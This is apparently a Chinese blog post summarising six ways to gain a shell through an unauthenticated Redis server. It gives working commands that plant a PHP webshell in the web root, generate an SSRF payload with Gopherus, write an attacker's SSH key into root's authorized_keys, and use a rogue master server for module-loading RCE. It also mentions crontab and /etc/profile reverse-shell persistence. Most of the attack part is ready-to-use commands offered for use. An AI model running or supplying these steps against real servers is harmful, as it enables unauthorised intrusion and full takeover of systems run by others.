这里我来总结几种Redis反弹Shell的方法
一、利用Redis写WebShell
前提条件
开了web服务器,并且知道路径,还需要有文件读写增删改查的权限
条件比较苛刻,但是满足条件上传就会简单一点,我们直接将文件写入www目录下,完了使用工具连接即可。
语句:
redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save
二、利用crontab反弹Shell
前提条件:可以建立连接,下载上传文件
这个就是利用计划文件,将木马写到计划文件,等待计划任务执行时解析木马,然后反弹Shell。
详情可见
三、SSRF结合Redis未授权Getshell
这个按道理来说已经不是反弹Shell了,而是写入GetShell,但是既然总结了,我就把他也放到这里来。这个主要就是使用kali中的Gopherus来生成载荷。命令如下:
python2 gopherus.py --exploit redis
紧接着将其进行URL编码,然后访问即可。
最后使用工具连接即可。
四、Redis密钥写入ssh
前提条件
Redis服务使用root账号启动,且可未授权登录;服务器开放了SSH服务,而且允许使用密钥登陆,即可远程写入一个公钥,直接远程登录服务器。
步骤:
生成密钥公钥:ssh-keygen -t rsa
防止乱码:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
导入内容到redis数据库:cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh
-a为登陆密码,可选择不写,回显为OK
接下来保存到目录:
redis:6379> config set dir /root/.ssh
redis:6379> config set dbfilename authorized_keys
redis:6379> save
这时就完成了,直接ssh连入即可:ssh @ IP
五、主从复制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。
工具下载:nullhttps://github.com/n0b0dyCN/redis-rogue-server
六、通过修改系统配置文件执行命令
例如写入/etc/profile,/etc/bashrc等系统环境配置文件,在用户登陆时自动执行反弹shell(需要等待用户登录才可以触发)
这个方法我没有试过,只是搜索找到了这个方法,日后如果用到的话会返回来补充,现在就写到这里。欢迎大家补充讨论。